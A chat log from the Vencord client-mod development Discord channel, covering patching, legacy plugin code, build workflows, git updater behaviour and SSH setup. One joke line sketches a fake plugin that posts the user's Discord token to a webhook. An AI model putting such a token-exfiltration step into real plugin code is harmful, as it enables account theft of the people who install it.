#πΎ-core-development
1 messages Β· Page 62 of 1
ah ye
attachments gon
Huh, doesn't the trick where we use another component within the component we add to messages work?
Yeah I can't explain shit
I want to ask how such a message is updated, but oh well.
Iirc it is fired with the json returned by Discord's API and not the parsed message object
I meant what would trigger the update.
our code
we dispatch updates to rerender the message
after we modify it
but its not that simple
Can't we just inject our own little util to force reload messages by their ID or smth?
I have an offtopic question about one of the PRs, would here be the correct place to ask? It is just mainly to satisfy my curiosity.
We talk about anything here, so it should be fine since it is not unrelated to vencord dev
Alright, here goes:
find: "Messages.SOURCE_MESSAGE_DELETED",
When is this event called? Because this PR uses it to colorize all messages.
unrelated to the feature
I'd assume it is for replies
Also that doesn't look like an event
that's just an arbitrary piece of code in the module it wants to patch
yeah, isn't that i18n?
ye
Ok I hate JavaScript and frontend development.
Hi
bye
Nothing to do with js
Do you see the "original message was deleted"?
yep
Well, TypeScript is based on JS, I think, and I just remembered that I hate it anyway.
this is just how vencord's patching works!
(presumably) the module id changes between builds and we don't have access to the original names
I am of the opinion that TS is just JS on crack, so no that's not what I meant
Nothing to do with code
I know, and I respect that and everyone's work, I just..... hate JS.
Maybe.
Go look at assembly, you will love it /s
dw i hate js too
and i'm a contributor!
In my eyes minified js is not that bad
I also used JS in backend, and it was confusing since I had to use it for a uni project worth 50% of the whole course's grades, and it was confusing.
ts at least makes it bearable
If you have read asm that is
I am more used to Python.
I had to make a multiplayer game in assembly. :D
i don't think i'd want to read it without prettifying tbh!
What is the difference?
π
Names?
and no comments
Lemme check my game's code.
no way a disassembler could work them out without reading minds :p
Yeah ofc whitespace is pretty important for reading it
I'm talking more about the names and obfuscation
wait that would be a cool idea
oh ye
No no, comments are not stored in compiled binaries, I think.
:( sad that discord wouldn't be so kind as minecraft and provide name mappings
So it cannot extract what is not there.
**Snake.asm: **
; ENUMS for directions
UP = 1
DOWN = 2
RIGHT = 3
LEFT = 4
; ENUMS for grow_state
NO_CHANGE = 0
BIGGER = 1
SMALLER = 2
; scancodes
UP_SC = 48h
DOWN_SC = 50h
RIGHT_SC = 4Dh
LEFT_SC = 4Bh
EXIT_SC = 10h ; 'Q' - for Quit
RESTART_SC= 13h ; 'R' - for Restart
; misc
NSEOI_OCW2 = 00100001b
PC_PIC = 20h
.model small
.386
.stack
.data
me db ?
me_row db 0
me_col db 5
them db ?
them_col db 5
... (2204 lines left)
Minecraft is only providing name mappings bc if they didn't, then the community would do it either way
Well, the community does still make mappings
the community did ye
yeah, they didn't provide javadoc, local variable names (most notably method params)
Oh, that reminds me.
i had to type that blind :p
Nobody said they are
My other game project which I work on depends on decompiled C# code from unity, THANK GOD that it has proper variable names.
#π§©-plugin-development btw :P
If it didn't, I wouldn't touch it with an infinitely long stick.
this is vencord dev
No way
Sorry again. XD
recode in C#
vencord-dev for life
yeahh!
I'll show myself out, thanks everyone!
Good luck hating js!
XD
vban
okay banned 
Guys is vencord safe
i'm not a mod or anything but this channel's usually used for discussion of the project's development!
(i talk about unrelated stuff all the time lmao)
its as safe as you want it to be :3
Good good
β¨
Idk i hate antivirus it blocks everytime
Would it be ok to make a PR to edit the imageZoom plugin to allow zooming without displaying the magnifier circle?
Although I think my fix is very hacky.
describe it and we may be able to help :3
show video
in any case you can pr virtually anything
it might just get rejected
but just pr and we can see :P
Sending screenshot to record.
gonna pr deleting the entire repo and replacing it with 25 copies of legend of zelda tears of the kingdom
brb making a pr to revert 4801498
Added option to hide the lens circle.
worst change imo
lmao
real
oooold vencord
isnt that pre-vite?
:)
swc?
yes
idk where i got vite from
no, vencord was born around the swc time
swc change was that long ago?!
What the....
XD
SO MANY PLUGINS https://github.com/Vendicated/Vencord/tree/48014989dd770ac679bcedd007be3605dfdcfd4a/src/plugins
Giant Penis Lisence,,,
isn't it crazy that the folder structure literally hasn't changed at all
4th plugin too...
that shit is OLD it still had a cc loader
**STFU.ts: **
import definePlugin from "../utils/types";
export default definePlugin({
name: "STFU",
description: "Disables the 'HOLD UP' banner in the console",
author: "Vendicated",
patches: [{
find: "setDevtoolsCallbacks",
replacement: {
match: /\.default=function.+$/,
replace: ".default=function(){}}"
}
}]
});
cumcord users trying argue that the name wasnt stupid and was actually just a filter to prevent idiots from joining the server (it actually kept only idiots in the server)

Anyway, is this hacky fix worth making a PR or nah?
you'll love scarlet
this made me nauseous lmao
Well, that is what you get for using dirty jokes.
cc at its prime was crazy
i got told hitler was better than me by like 5 people
you're not a real vencord og if you don't remember monkey patch vencord
Sorry about that, honestly when you get used to it is better than having a lens circle since the circle limits what you see and makes it hard to see the whole thing.
Interesting.
Why?
i don't even remember the context honestly
**noTrack.ts: **
import definePlugin from "../utils/types";
import { findByProps } from "../utils/webpack";
const DO_NOTHING = () => void 0;
export default definePlugin({
name: "NoTrack",
description: "Disable Discord's tracking and crash reporting",
author: "Vendicated",
start() {
findByProps("getSuperPropertiesBase64", "track").track = DO_NOTHING;
findByProps("submitLiveCrashReport").submitLiveCrashReport = DO_NOTHING;
findByProps("AnalyticsActionHandlers").AnalyticsActionHandlers.handleTrack = DO_NOTHING;
const sentry = window.__SENTRY__;
sentry.logger.disable();
sentry.hub.addBreadcrumb = DO_NOTHING;
sentry.hub.getClient().close(0);
sentry.hub.getScope().clear();
const c = console;
for (const method in c) {
if (c[method].__sentry_original__)
c[method] = c[method].__sentry_original__;
if (c[method].__REACT_DEVTOOLS_ORIGINAL_METHOD__?.__sentry_original__)
c[method].__REACT_DEVTOOLS_ORIGINAL_METHOD__ = c[method].__REACT_DEVTOOLS_ORIGINAL_METHOD__.__sentry_original__;
}
}
... (1 lines left)
monkey patches in my vencord???
and im banned from the server (and dont want to go near that cesspit again) so i cant check
XD
wait
i mean every client modding server is terrible, just some less-so
Pretty sure you consider being banned a badge of honor.
anyone know a fix?
From that server at least.
this community always attracts absolute egotists and dumbasses to it
uninitialised V π
does anyone remember when the Vencord api had a method to retrieve a penis
@quick ibex u remember dont u
actually idk if samu
but someone definitely
yall are forgetting the classic demoncord ritual api
that was pre rewrite
i have old pre-rewrite vencord on my laptop π₯
its pinned in #π§-off-topic-iceman-only still i think
cc had a similar api iirc
LMAO
no css editor
there's a css editor????
??
scarlet will embed vim as a css editor
oneko is infinite.
who wants legacy vencord access π₯
give
hold on it's somewhere on my laptop
oneko is omnipresent
true
i'm an OG i joined september last year π
fake og
real
nuhuh im real og
more og than half the people active on this server anyways
u had to be there π₯
ok cant help that i was too busy being called hitler by cc users to know vencord existed π
you're not a real vencord og if u dont have a fortnite clip of u pinned in #π§-off-topic-iceman-only
Hacky.
It just sets the magnifier circle size to a very large value (this is how I got the same effect on the original BD plugin anyway).
I WAS HERE FOR TNE BLOCK GAME COMPETITION THOUGH AND YOU STILL HAVEHT GIVEN ME MY DAMN ROLE
β
install.sh π₯
mememe
#!/bin/sh
#
# Super simple installer. You should probably run this as root.
# If you are getting permission issues, this is probably why.
#
# If this doesn't work for you, or you're not on Linux, just
# - locate your Discord folder
# - inside the resources folder, create a new folder "app"
# - inside app create the files index.js and package.json.
# See the two tee commands at the end of the file for their contents
set -e
patcher="$PWD/patcher.js"
dicksword="$(dirname "$(readlink "$(which discord)")")"
resources="$dicksword/resources"
if [ ! -f "$resources/app.asar" ]; then
echo "Couldn't find Discord folder rip"
exit
fi
app="$resources/app"
if [ -e "$app" ]; then
echo "app folder exists. Looks like your Discord is already modified."
exit
fi
mkdir "$app"
tee > "$app/index.js" << EOF
require("$patcher");
require("../app.asar");
EOF
tee > "$app/package.json" << EOF
{
"main": "index.js",
"name": "discord"
}
EOF
teehee
Is that KDE Plasma?
tkinter π₯
xfce
Interesting.

hold on
Honestly Linux's customizablitity... oops wrong channel again.
ANGER
just fucking
ik using a tailscale exit node breaks LAN sometimes
Maybe that is why it didn't work?
I have no idea how electron works so this mod is probably very hacky and bad.
you mustve cooked HARD
now i know how it works :DDD
nevermind this is like anti-cooked 
this still abused context isolation bug and ran in preload
it's really bad lmao
**prettier.js: **Line 9
electron.webFrame.top.context.Function.prototype.prettier = Function.prototype.prettier;
well
i wanted to inspect functions in the console
randomDiscordFunc.prettier()
funny
what's pretty funny is that even this code still has many similarities with modern vencord
But isn't Prettier easier to look at?
hop back on https://git.ruthenic.com/Demon/demoncord-rewrite
**VencordApi.js: **Lines 7-10
get d() {
console.log("8==>");
return void 0;
}
Oh, now I remember another reason I hate JS: because of using ActionScript and trying to figure out how to properly use it for a lot of stuff even though it is long dead.
**patcher.js: **Line 1
console.log("Bruhhhh Vencord moment");
me when vencord moment
@woeful sable HOLY SHIT https://codeberg.org/Ven/cord-legacy/commit/32ed1d0134cd96d8819b26a7ff1ec934d8f79e79

I'm still there
Interesting readme.
it has a successor in the readme of https://git.ruthenic.com/ruthenic/valence-battle
I still have the funny
A terrible Discord Desktop mod, because yes.
I can't believe Ven is abusive.
Too short.
why
it really was terrible back then
Still abusive, now you call it "cutest" client mod.
You need to be consistent.
I call the game server I work on "a hot pile of mess".
And that probably will never change.
Although I didn't create everything there, it was done by the former leader and they did an amazing job, but the framework is a hot pile of mess.
With a very lacking documentation.
And uses multiple programming languages at the same time.
good api
vencord at its peak
yop.
true
oh yeah this was when vencord repo was still private right
i love prototype pollution
closed source vencord π
nah
day 1 supporter fr
stealing
should i gpl or cc0
I spent too long trying to make that script as a vim script
do not
back then u still had to build vencord from source 
and it came with a 300mb node_modules folder
we love
cc0 maybe
do u remember when people in #π₯-vencord-support-π₯ started getting issues with pnpm-lock.yaml conflicts
cc0 is the license for software a bit too silly
cause the updater was purely git based
Yeah
way before we moved to prebuilds & http based updater
Use the 'No Evil' license.
we're using prebuilds & http based updater??????
i looked into it a while ago, github actions build it and upload it to https://github.com/Vencord/builds
**build.yml: **
name: Build DevBuild
on:
push:
branches:
- main
paths:
- .github/workflows/build.yml
- src/**
- browser/**
- scripts/build/**
- package.json
- pnpm-lock.yaml
env:
FORCE_COLOR: true
jobs:
Build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: pnpm/action-setup@v2 # Install pnpm using packageManager key in package.json
- name: Use Node.js 19
uses: actions/setup-node@v3
with:
node-version: 19
cache: "pnpm"
... (49 lines left)
oh whorps
Just read your bio, I think anyone who uses your pronouns will be canceled for objectifying people.
what
No offense meant of course.

added a little readme https://codeberg.org/Ven/cord-legacy#wow-it-has-really-been-a-wild-ride
that repo is not actually used for anything btw
the updater uses https://github.com/Vendicated/Vencord/releases/tag/devbuild
but yeah the files there are uploaded by the same workflow
ahh
yes :P
(the joke is that i still use a local git build)
i was an old man yelling at the new graphical installer to get off my lawn
also does the updater work on devmode? i was curious earlier and checked the hashes before and after updating thru settings and it worked. whats weird is it ignored my local git changes. git normally cries when i dont stash shit
yes it does
but it doesn't ignore your loca lgit changes
it will shrimply explode if u have conflicts and such
oh conflicts ofcourse but it freaks out normally
Without losing these changes?
lemme get a ss
code
Update tab??
via merge possibly
You have to stash
That's what i do
But also I merge sometimes too
Depends on how final whatever I'm doing is
if you have local commits and pull, git will automatically try to merge these changes with your local ones
In a separate repo?
it might just work if you haven't touched any of the code that changed remotely
Is there a way for vencord dev to update off a branch that isn't main branch
That might be a dumb question
I think I accidentally stumbled on that.
Just use that repo, build, and inject.
If you already built and injected from it, check the update settings.
Check which repo it lists.
I've been working off a fork and wanted main to be my clean branch from vencord
<<<<<<< HEAD
bleh
=======
merge conflict jumpscare
>>>>>>> origin/main
But then if i push things to a dev branch updater is weird
^
I use vs code to handle merge conflicts
It's definitely my fork lol
For me I am using the color messages PR.
I know that much
And it is listing their repo.
Yeah I saw in your screenshot
yeah it does everything via a wrapper git cli it seems
async function getRepo() {
const res = await git("remote", "get-url", "origin");
return res.stdout.trim()
.replace(/git@(.+):/, "https://$1/")
.replace(/\.git$/, "");
}```
Like it's fine. I have a backupofmain branch now
And that works
Just was curious
Yeah it appears so..
But wasn't sure
One of those things that I feel like I can't really tell unless someone more knowledgeable than me says "you're crazy" or "yeah ofc you can" lol
But would it grab the latest commits? Or does it have to be prebuilt?
all it does is pull and rebuild
Hm, alright, lemme test.
yes it just shells out to git
it updates thru git by the repo you cloned from
it doesnt do merging though so if the forks out of date you gotta do it yourself
Yeah gotta do them syncs
Thanks for telling me about the repo updater thing!
how would you specify a plugin to require restart on enable/disable without using patches
Using just TS? Check out BetterFolders
I believe there's code there
Oh on enable/disable?
I think all of them then have code
onRestart() or something
whats ur use case
running code before a functions called
elaborate a bit more please
Overwriting GatewayConnectionStore's getSocket to return a socket with a patched send method
monkey patch 
bad
what for
is this for desktop patch
yeah 
see thats why i asked
is it for spoofing platform?
i see
you likely need to patc hthis
with a regex patch
you just need to change browser to Discord Client
search for browser_user_agent:
there are two results
one is discord desktop
the other is discord web
it should be fairly easy to figure out which one is which
the code looks really confusing but you can figure it out
None
None
font-weight: bold;
color: purple;
Cannot access 'Bfe' before initialization ReferenceError: Cannot access 'Bfe' before initialization
at Module.default (WebpackModule248059:2:50)
at VencordWeb:12:719
at VencordWeb:5:8972
at [vencord.lazy.get] (VencordWeb:5:7335)
at zr.<computed> [as get] (VencordWeb:5:7746)
at Object.handleProtoChange (VencordWeb:33:23399)
at CONNECTION_OPEN (WebpackModule473419:2:5858)
at https://discord.com/assets/ad1fde4a477ddef962ae.js:9368:278
at https://discord.com/assets/ad1fde4a477ddef962ae.js:9358:270
at n (https://discord.com/assets/ad1fde4a477ddef962ae.js:9368:255) ```
None
None
font-weight: bold;
color: purple;
[kb store] KeybindStore: Looking for callback action SOUNDBOARD_HOLD but it doesn't exist in this version. Skipping ```
so instead of changing the code, why not just set settings.store.size to 1000?
works for me, likely related to firefox failing to remove CSP
Me: nearly tries to do Vencord debug on aliucord
git rebase -i HEAD~2
this already seems to work with voice chats/stages but not the channels themselves, allow you to see every channels name basically.
Right click the server and mark Show All Channels
Already tried that when the plugin came out, 1000 turned out to be too small and just got me a kinda small/medium magnifier circle.
Translates messages using Google Translate.
(More or less a port of https://github.com/aeongdesu/vdplugins/tree/main/plugins/Dislate)
I might be remembering wrong but I think this already exists
Lol did they really forget we already have one
can somebody please approve the workflow on https://github.com/Vendicated/Vencord/pull/1201 ?
ur all discord pros, right? How is discord capturing the sound of a single application when i stream that applications window?
magicβ’οΈ (i have no damn clue lmao)
i see, very interesting. I wonder how it works on windows
on linux it just doesn'tβ’οΈ
ActivateAudioInterfaceAsync and/or WASAPI on windows to capture audio from specific window
thx
.
This plugin will allow you to have the time on Discord
It's handy when you have Discord on full screen, for example.
For example, the "RPC" plugin will go into the utilities category
and the "PermissionsViewer" plugin will go into the "Moderation" category.
Already has been discussed, was decided its hard to categorize every plugin into categories that everyone agrees with or something along those lines, so wont be added
i don't think anyone ever said that this won't be added and i do plan something along those lines, but it's a duplicate nonetheless
Oh really? It was awhile ago so I most likely forgor :skull:
π right, this already is a plugin, so i dont see a need for a duplicate unless this one does something different
https://github.com/Vendicated/Vencord/tree/main/src/plugins/translate
i feel like this has happened before lol
Yeah, unfortunately this plugin already exists so this is a duplicate. Thanks anyway!
i wonder how this person didnt notice it already exists
rip
dead channel
people usually pr new plugins they make
ah yes, redundance
what r u asking for
why did you assume that I am asking for anything?
just doing some tomfoolery
bad
we could change it but it didn't use to be this way
the plugin was made before discord change
honestly I preferred viewing the actual links
rather than the chat icon
bc it is so small
looks like a channel link
I read from left to right, when I see this, I see a channel
and I was trained to recognize that as a channel for years now
discord can't do this to me
discord can do anything they want to you, you have to learn to love business daddy
I thought i was testing something earlier and they looked the same
yeah thats what I said
they look too similar, hard to notice the msg icon
think of what #π₯-vencord-support-π₯ will look like if more people will start making them
you're playing with fire
AND I WANT TO FUCKING SEE IT BURN
I felt the pain when I imagined the users that ask for how to install a third party plugin
not knowing that they have to install the dev build of vencord
lock messagelogger and shc behind figuring out how to install custom plugins
it'll be so joever for 99% of users
theyre gonna look at them and be like "omg i can add my own plugins" and then try and add bd plugins
mmmmmmmm fire
hello
you just throw them in the userplugins folder and rebuild
pnpm build pnpm inject
oh
basically a folder userplugins that should be made under src
i still use a local build so i just add whatever to src/plugins still
smh use src/userplugins
vencord got too user friendly ngl
there are none
so you cant accidentally commit them
(i don't even have any)
ideally everyone should use it, as it is .gitignored
and is useful if you don't want to make a fork just to keep up with upstream
yeah I should have changed the tense
there's a good reason they're third party plugins (most of them are useless) 
zamn my last upstream fetch is from april 7th
noone ever asks how to install #1032200195582197831, they always only ask how to install BD plugins
is there anything im missing
how is that a problem
we should troll them by adding a fake BD compat plugin
have you SEEN #π§-off-topic-iceman-only
i bet even if it is on the README that it is fake, they wont read it
many people with below average sized brain in #π₯-vencord-support-π₯

to put it nicely
(i usually only update when something breaks)
π
i think u mean #π₯-vencord-support-π₯
/ban 
both of them really
vban @surreal otter
okay banned 
not me but ok
?
you're banned stop talking π
ok vencord dude
someone getting angyy >:(
we should troll vencord users by removing the builtin token lagger
i'll work on vencord plugins again when the rust plugin library drops
ah yes, token lagger
can i talk now daddy
makes ur token lag
okay but the biggest meme would be unironically writing a BD compat like if you agree
bad
if it was easy I would do it, but it is way too much work just to have a shitty ecosystem
someone tried it was very sad
the powercord plugin for bdcompat is a mess
iirc the person who did didn't know how to code
when is demoncord compat dropping
so it was a really pointless effort and sad to watch
we need CC plugins

no the fuck we don't
step 1) be vencord femboy dude
step 2) add a "BDPluginSupport" plugin
step 3) requests.post(www.webhook.com, data=token)
let CC stay in its piss-soaked grave alongside margaret thatcher
old (very old) vencord had goosemod and cumcord loader plugins
@austere talon add lightcord support, NOW
exists
armcord is just lightcord continuation
yee I know of the loading quot-
said nobody ever
it's not actually but it does something similar and the guy who makes it (smartfridge) was also lightcord person





bdcompat plugin that auto reports the user to discord
- hi
- there
heh, not blocked
oh
discord when they remove inline links
Yeah it got removed
Cuz bullets aren't annoying
https://google.com moment
too bad they disabled them
what shitty markdown parser does that?
is that even valid?
yes
this would save so much time
this would be useful considering im a graphic designer.
stop spamming oh my god
qhar
TRUE
close source the repo
let's go back
or just...remove the user friendly installer
most users will give up on git clone
just remove user
just remove
windows users too spoiled
yoppppppp
go back to cli installer so much better

fucking discord oom loooove
agreed /hj
codeburg webhooks wen
YOO
fire
i pushed that commit to codeberg
real ones pr to https://codeberg.org/Ven/cord π₯
The cutest Discord client mod. Mirror of https://github.com/Vendicated/Vencord, but feel free to open pull requests here as well!
ayo??
gitea supports github templates
Tell us all about it.
codeburger
Request Agreement
- [ ] This is not a support or plugin request
realest
gitea webhooks so much better than shithub
so detailed thank you codeburger
why are u subbed lol
idfk
oh cause
The cutest Discord client mod. Mirror of https://github.com/Vendicated/Vencord, but feel free to open pull requests here as well!
ohh
yo its codeburger
cuz why make a whole context u will use once
**build.mts: **Lines 74-82
if (watch) {
await Promise.all(contexts.map(ctx => ctx.watch()));
} else {
await Promise.all(
contexts.map(async ctx => {
await ctx.rebuild();
await ctx.dispose();
})
);
where in watch it has to linger forever
btw
i deliberately didnt use JSON.stringify() for the css bundle
to have less insane string
that's why i just used `
true I guess
jumpscare
I have no idea
css.replaceAll("", "\\")
ah yeah
css.replace(/./g, (x) => x === "`" ? "\\`" : x)
NO
tbh i already miss the following from github prs:
gh pr checkout X- suggestions
- ci

nah review
btw
the scripts have some obsolete stuff
actually lemme just do that myself
yeah cant u push to my branch
u will give access to edit pr
i did
Propose changes
vencord request for comments soon
codeburger*
mirror
nuh uh I am currently holding ven at gunpoint
the repo will be transferred within the next decade or so

b- but codeburger,,
its mirrored calm down lmao
and github is definitely not perfect
we literally had a conversation about mirroring it an hour ago
c o p e 
[Reply to:](#πΎ-core-development message) So annoying to use
truee
github is far from perfect
do you know how nonsensical it is that the central platform for open source is not open source?
If github is perfect then this is a perfect sphere
and owned by one of the worst and most evil spyware companies microsoft
None
None
font-weight: bold;
color: purple;
Cannot access 'Bfe' before initialization ReferenceError: Cannot access 'Bfe' before initialization
at Module.default (WebpackModule248059:2:50)
at VencordWeb:12:719
at VencordWeb:5:8972
at [vencord.lazy.get] (VencordWeb:5:7335)
at zr.<computed> [as get] (VencordWeb:5:7746)
at Object.handleProtoChange (VencordWeb:33:23399)
at CONNECTION_OPEN (WebpackModule473419:2:5858)
at https://discord.com/assets/ad1fde4a477ddef962ae.js:9368:278
at https://discord.com/assets/ad1fde4a477ddef962ae.js:9358:270
at n (https://discord.com/assets/ad1fde4a477ddef962ae.js:9368:255) ```
None
None
font-weight: bold;
color: purple;
[kb store] KeybindStore: Looking for callback action SOUNDBOARD_HOLD but it doesn't exist in this version. Skipping ```
CODE BURGER
But my unlimited free workflows
https://cdn.discordapp.com/emojis/1091810668287639672.webp?size=64
Darn
Didn't know it had one
you have to convince them that you should have it lmao
i can try to make something similar to gh pr checkout X next time i am really bored
well, that prevents me from abusing it
so github is better
@austere talon
update ur lockfile
I only ran pnpm install on a clean branch, and now I have the lockfile as a changed file
**main.go: **Line 330
rdb.Del(c.Context(), "secret"+hash(PEPPER_SECRETS+userId))
A revival of my dead plugin SoundChanger.
This time the code will be up to standards,.
The old code was a mistake for humanity.
Anyways, stuff left to implement:
- [ ] Settings
-
- [ ] Add shit, cause it's empty.
-
- [ ] Add profile support, so you can switch between saved profiles.
-
-
- [ ] For each profile show the custom sounds, and allow editing them.
-
Closes #835
Note
This is not a port of the BD plugin, it is not inspired by it either.
This is a remake of my dea...
wtf
how did rhat happen
yes it is
i guess i never caught it because redis silent fails deletes
since its the intended outcome anyway
caught red handed
PS: in Greek that phrase is "Caught in leeks", don't ask me why, but it is funny
plugin like the better discord one where it automatically starts whatever you type with a capital letter
I don't know if it's possible, but we don't have Krisp on our browser. Would it be possible to do something like that?
@austere talon idea for the companion
the ability to "Go to definition" and it will open the discord code where a webpack/common or smth is in discord's code
like, if I right click the Forms.FormsTitle component and click go to definition, instead of going to the code that finds it, to show the actual implementation in discord
or at least open the corresponding webpack module
prettified
directly in vscode
that way we can easily see what undocumented properties a component can take, w/o having to search for the module
such a silly thing
basically it's caching some state and window.webpackChunk already exists when we load the page
previously we unconditionally overwrote it, nuking some chunks
anyone use webcord here? its discord but with newer electron
it's not
they have a similar version
hi! this should be fixed via https://github.com/Vendicated/Vencord/commit/a2a33ca62d4651c11829e8d7d0504bbda57fa0f4 now
Please verify whenever you get the update (should be available in ~10 minutes)
in any case why did you ask?
cause i wonder if we can inject vencord into webcord
and uhh, do it will reload automatically?
u can make a simple workflow to do it for u
wha?
some people have done it https://aur.archlinux.org/packages/webcord-vencord-git
ah, looks like i need to update from webstore then 
Why do I get this error when using the official repo to build and inject?
No new commits or changes.
read the error 
you're likely using git via ssh and don't have ssh configured correctly
I don't, also do I need write access to use the updater? Again I am using your repo, not a fork.
Use GitKraken.
mostafa-abdelbrr git@github.com:mostafa-abdelbrr/Vencord.git (fetch)
mostafa-abdelbrr git@github.com:mostafa-abdelbrr/Vencord.git (push)
origin git@github.com:Vendicated/Vencord.git (fetch)
origin git@github.com:Vendicated/Vencord.git (push)
Weird, I didn't get this error a few days ago tbh.
Anyway, gotta look into this ssh, I never set it up afaik.
it's easy to fix
git remote set-url origin https://github.com/Vendicated/Vencord
this changes to https
Oh, then GitKraken probably messed it up for me.
Because I think it uses SSH mostly.
ssh is the preferred method
But I never set up terminal git.
I mean I have it, but not properly configured.
Why?
Up to you anyway.
Correct, it is GUI, and makes using Git very easy, thankfully.
Anyway lemme look up cherry picking for you.
git cli is superior
lazygit then
Nope, not really.
Unless you love the command line.
I do admit command lines are easy to use.
Just using the keyboard, no mouse.
But also GUI is easier for complex stuff, like Git.
git cli is better because you know what it's doing and have full control
XD
using a gui leads to stuff like the issue you just had
i don't mean to gatekeep or anything so if you prefer gui, more power to you 
but cli is way better if you know how to use it
so learning it is worth your time!
No no, I see your point, but problem with cli is that it just outputs a lot of text.
But with GUI, you can view or hide the text you want.
I mean just before I got the issue, the updater was showing me the wrong origin.
So I was trying to rebase, cherry pick, and stuff to try to put my local commits as older commits, such #@!%&-ery would be hard to do as a newbie in cli.
Anyway, of course I failed.
So I just pulled the latest main again, cherry picked, and injected.
lol i've been confused why firefox is taking so long to approve
but turns out
i forgot something
Ouch.
now it's releasing 
I gotta learn about tags too, I just let releases auto add new ones.
Honestly I just took a skydive into Git without trying to learn the basic concepts.
you tell git "okay this is v1.2.6"
and that's it
it then creates a tag with that version and the current latest commit you can view later
I see.
for example here's vencord v1.0.5 https://github.com/Vendicated/Vencord/tree/v1.0.5
Honestly you are more friendly then other devs tbh. XD
it's basically a pseudo git branch
and we have a workflow that releases extensions automatically on tag https://github.com/Vendicated/Vencord/blob/main/.github/workflows/publish.yml#L1-L5
so all i need to do to submit new extension updates is just make a tag
**publish.yml: **Lines 1-5
name: Release Browser Extension
on:
push:
tags:
- v*
Differences between Git tags and branches
Tags and branches are both used for version control within your code base. They do not compete with each other but are instead used together.
A branch is often used for new features and fixing bugs. It allows you to work without impacting the main codebase. Once your work is complete, you can incorporate your changes into the application by merging the branch back into the main codebase. This allows multiple people to work on different aspects of the project simultaneously. It also provides a way to experiment with new ideas without risking the main codebaseβs stability.
Unlike branches, tags are not intended for ongoing development. Tags mark a specific point in the repositoryβs history to give developers an easy way to reference important milestones in the development timeline.
I try to be!
But sometimes it's hard to remain patient when many users feel entitled (expecting immediate support, bug fixes, etc) so it's understandable that many devs aren't that nice
Yeah, and you are doing a good job, but the problem is that not always devs are good to ones who are lese experienced.
My questions are a very good example, I should have just googled.
git checkout foo
Which is why I didn't ask you to explain it, because I know fully well I would be making a laughing stock of myself. I really appreciate you explaining though!
pointless i never use it
git switch is solely for switching branches
git checkout has many other ways to use it
think of it like
git switch is a knife
git checkout is swiss army knife
git-checkout - Switch branches or restore working tree files

it doesn't really matter which one u use but i always just use checkout
I've been reloading for several minutes now and it appears fixed - not a single white screen, and I've managed to get both new messages in console, so it seems the fallback works just fine.
Thanks!
neat, thanks for verifying!
Turns out I already have ssh keys due to GitKraken, and it is authenticated, but I didn't set up my email or username in Git, dunno if this is what broke it.
yes
you need to configure git itself
it's fairly simple to do if you want to do that, but you can also just use https if you don't plan to pr anything
I'd prefer to fix this SSH mess to avoid any future trouble tbh.
Added my username and email, still broken.
I might decide to just nuke Git itself and reinstall at this rate. XD
Yeah, I know you use Linux.
i use both actually!
no need, git isn't broken in any way, you just need to add ssh keys to it
I hate Linux tbh. Its GUI is not neat, and I need to install packages for everything which just fills my space.
God forbid that I try to use Wine to run Windows stuff.
Alright thanks for the pointer, will look into that!
need to install packages for everything which just fills my space
.....
Ok I didn't expect that. XD
meanwhile me, the exact opposite of this
Hmmmmmm.
I allocatted 40 GB for Arch Linux.
Filled up when using it for some uni projects and customization.
and "its gui is not neat" is not something you can say because linux doesn't have a gui
that's just bc you haven't used arch :^)
you're using one of the many guis available for it
perhaps you might like a different one more
:P
use GNOME if you want a great GUI
use KDE if you want an ugly but very functional GUI
use a window manager if you are sadistic
I know, I tried customizing KDE Plasma, and I used Gnome before and GTK isn't that neat.
how so
GNOME 44 is legit the best GUI I have used on linux
It just looks very generic with 3D effects/art style?
GTK is super cool actually because it makes it easy to theme and applies to most apps
Unless I used an old one.
uhh, windows doesn't look great either according to what you have said about linux
Windows 11 looks good.
anyway this discussion is kinda pointless, if they prefer windows that's cool 
My description for Windows 11: "how windows 10 should have looked like".
No no, this discussion is useful for me.
I am gaining insight and more info.
I also prefer windows, cause I don't like it when I want to use the 15~20% of windows programs that don't run under wine
but I also like linux
I hate MacOS tho
MacOS is the most restrictive of the three
Honestly I hate Apple products due to their reputation for locking everything, but I never used their stuff.
to add ssh keys to the git cli, you will want to:
- use ssh-keygen to generate a ssh key pair
- add the public key to your github account so you can use it to authorise
- set up a basic ~/.ssh/config for github.com to tell ssh which username and key to use for github
This should already be it ssh github.com should now work
First two were done, trying to find instructions for the last step.
where is your key located?
I mean GitKraken already created the SSH files in the default location.
%USERPROFILE%/.ssh
i would just not use gitkrakens and make ur own
it's part of the learning experience
I already made one before I found the default GitKraken one. XD
anyway for the config bit
it's just this
Host github.com
User git
IdentityFile ~/.ssh/github
in ~/.ssh/config
i have a lot in the config
it makes it so easy to manage many ssh keys easily and also add host aliases (ssh oracle instead of ssh vendy@130.61.130.176)
Interesting.
(you should use a different ssh key for each service, similarly to how you should use a different password for each service)
Oh wait, I don't think GitKraken saved the file in the default location? I got lost. XD
like i said just make ur own
Oh, gotta look into passphrases and stuff.
I know, probably will do that.
you can have as many keys as you want
For security.
Me: *Got a deadline to do my graduation project in a few days.*
Also me: *Let's install oh-my-posh and configure Vencord and SSH instead.*
Ah I honestly didn't see it was a thing lol π
Btw noticed something: this GitHub bot doesn't display new commits in PRs.
At least here.
Oh, didn't notice the Webhook tag, my bad.
I was just pointing it out anyway, meant with V's config.
.....
Just realized V's nickname is probably Venedicated.
iirc this event is not a thing
yes
Well, as long as you already know, sorry for pointing out the obvious.
IdentityFile should point to the file containing the public key, right?
private, and the pub key should be next to it with a .pub extension
AMOGUS
Key name would be?
I am sorry for asking, but I didn't find a guide for.... actually lemme look for a guide using a different search query.
omnom
that's me lol
sus
Btw if you want a more unique nickname, try Vendi. Never saw anyone called Vendi. XD
At least if you like your GitHub username.
May I ask what is an icon url?




